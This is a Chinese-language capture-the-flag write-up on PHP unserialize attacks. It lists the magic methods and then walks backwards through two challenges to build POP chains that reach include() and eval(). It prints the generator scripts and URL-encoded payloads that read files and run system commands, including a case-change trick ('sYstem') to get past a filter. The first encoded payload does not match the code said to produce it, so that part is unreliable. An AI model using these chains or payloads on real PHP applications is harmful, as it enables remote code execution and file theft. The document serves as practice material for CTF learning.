在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。
serialize() 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变
如果想要将已序列化的字符串变回 PHP 的值,可使用用unserialize()
当在反序列化后不同的变量和引用方法会调出不同的php魔法函数
php魔法函数
__wakeup():在执行unserialize时,会最先调用这个函数
__sleep():在执行serialize时,会最先调用这个函数
__destruct():当对象被销毁时会调用这个函数
__call():当对象在上下文中调用不可访问或不存在的方法时调用
__callStatic():在静态上下文中嗲用不可访问或者不存在的方法时调用
__get():当访问不存在或没有权限的对象或键值时调用
__isset():在不可访问的属性上调用isset()时调用
__unset():在不可访问的属性上调用unset()时调用
__toString():当把对象(类)当作字符串调用时调用此函数
__invoke():尝试把对象作为函数使用时会调用__construct():是类中的一种特殊函数,当使用new关键字实例化一个对象时函数将会调用
__set(): 当我们给一个不存在或不可访问的属性赋值时,PHP会自动调用__set方法。
打开题目从整体来大致分析,pop来传参最后需要利用到定义好的append来包含文件文件
做这种题最终要的就是逆向分析,先找到需要利用的点,再一点一点往回推
将代码里的全部类都复制到php在线执行里,然后只留下类里的变量
例如:
在最开始提过,PHP中序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构,并且我们只需要去控制他的变量就好
####可以继续往下看后面再来慢慢理解
现在进行代码分析
modifier类里有变量var和两个函数
所以这里我们给var赋值我们想执行的命令然后想办法调用invoke
invoke() -> append()
invoke函数:当把变量当函数使用时调用
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
test类里有一个变量两个函数
到这里get函数里return $function()把变量当函数用了,所以能调出__invoke()函数
get() --> invoke() --> append()
后面就得找怎么调用get函数
get函数:当访问不存在或者没有权限的变量或键值时调用
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
show类里有两个变量三个函数
这里就能利用到tostring()函数里的return $this->str->source这段,应为show类里变量str里没有source变量,所以这里返回了一个不存在的变量,这里就能调用到__get函数
tostring() --> get() --> invoke() --> append()
再然后需要调用到tostring()函数,而wakeup函数里刚好又要调用变量source当作字符串,那么就可以给变量source赋值一个类,那么不久可以调用到tostring函数了吗
wakeup() --> tostring() --> get() --> invoke() --> append()
wakeup函数再unserialieze时就会自动调用,所以到这里就完全解析完了
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."
";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
wakeup() --> tostring() --> get() --> invoke() --> append()
这里总结一下:用show类里的函数wakeup调出show类里的tostring函数,然后通过tostring函数调出test类里的get函数,get函数调出modifier类里的invoke函数最后调出我们需要用到的append
tostring() --> get() --> invoke() --> append()
//var变量里写入我们需要用的命令
class Modifier {
//这里是应为他最开始以及直接告诉flag再flag.php了所以直接PHP伪协议去读
protected $var = 'php://filter/read=convert.base64-encode/resource=index.php';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
//把第一个要用的类new实例化一下
$a = new Show;
//wakeup() --> tostring()
$a->source=new Show;
//tostring() --> get()
$a->source->str=new Test;
//get() --> invoke()
$a->source->str->p=new Modifier;
//最后需要url编辑一下,不然怕识别不了
echo urlencode(serialize($a));
?>
payload: O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BN%3Bs%3A3%3A%22srt%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A22%3A%22system%28%22ls+..%2F..%2F..%2F%22%29%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
得到flag
还是老样子,拿到题目先大致的看一下入侵点
这里能看到最后是利用到NISA类里的invoke函数里的eval,那么就可以从这里开始倒推
首先要知道我们需要调出invoke函数,就得找到那里有把对象当函数用的。
这里就用到了tostring函数,里面给$bb赋值了$su,所以$bb是一个变量,但是return的是$bb()返回的是函数,所以调用到了invoke
这里给$su=new NISA
tostring->invoke
现在找代码里那里有调用字符串的地方,看怎么调出tostring函数
这里的strtolower会以字符串的方式调用变量a把它变成全部小写
#####这里if里面的条件很奇怪,里面用的是一个等号=相当于是赋值,没理解到是什么意思,很容易让人误解
这里如果我们让$a=new Ilovetxw那么这里就调用了类当作字符串就可以调用Ilovetxw里的tostring函数
set->tostring->invoke
set函数需要给不存在或者权限不够的变量赋值时才会调用
这里能看到call函数里会给它自己里的huang变量里的fun变量赋值,而four里又刚好有一个处于保护状态的fun变量不能赋值
如果给Ilovetxw类里的huang变量赋值new four那么就达成了给没有权限的变量赋值的条件调用了set函数
call->set->tostring->invoke
call函数当引用不存在或者没权限的函数时会调用
这里能看到wakeup函数里会调用这个类里的ext变量里的nisa函数,但是这个类里的ext里时不存在nisa函数的
如果给ext赋值new Ilovetxw但是Ilovetxw类里依然没有nisa()这个函数所以这样就达成了引用call函数的条件,wakeup函数当unserialize执行时会自动调用所以不用管
wakeup->call->set->tostring->invoke
第一个问题可以后续慢慢尝试看过滤什么函数
第二个问题要执行hint函数首先得fun变量等于show_me_flag,在编写php代码的时候更改
这里我先给出我写的代码
####随便找一个php在线网站都可以编译
call->set->tostring->invoke
class NISA{
//更改变量绕过执行hint
public $fun="111";
//赋值需要执行的命令
public $txw4ever='system("ls ../../../")';
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a;
private $fun;
}
$a=new TianXiWei;
//wakeup->call
$a->ext=new Ilovetxw;
//call->set
$a->ext->huang=new four;
//set->tostring
$a->ext->huang->a=new Ilovetxw;
//tostring->invoke
$a->ext->huang->a->su= new NISA;
echo urlencode(serialize($a));
?>
payload:O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A3%3A%22111%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A22%3A%22system%28%22ls+..%2F..%2F..%2F%22%29%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D
这里上传payload显示somenthing wrong
这里就触发了这里的提示说明使用的命令被拦了
尝试一下大小写绕过
最后的poc
call->set->tostring->invoke
class NISA{
//更改变量绕过执行hint
public $fun='111';
//赋值需要执行的命令,这里用/f*是把所有f开头的看一遍
public $txw4ever='sYstem("tac /f*")';
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a;
private $fun;
}
$a=new TianXiWei;
//wakeup->call
$a->ext=new Ilovetxw;
//call->set
$a->ext->huang=new four;
//set->tostring
$a->ext->huang->a=new Ilovetxw;
//tostring->invoke
$a->ext->huang->a->su= new NISA;
echo urlencode(serialize($a));
?>
最后上传参数就能得到flag
像这种pop链的题一定要多练习多记,做多了就有感觉了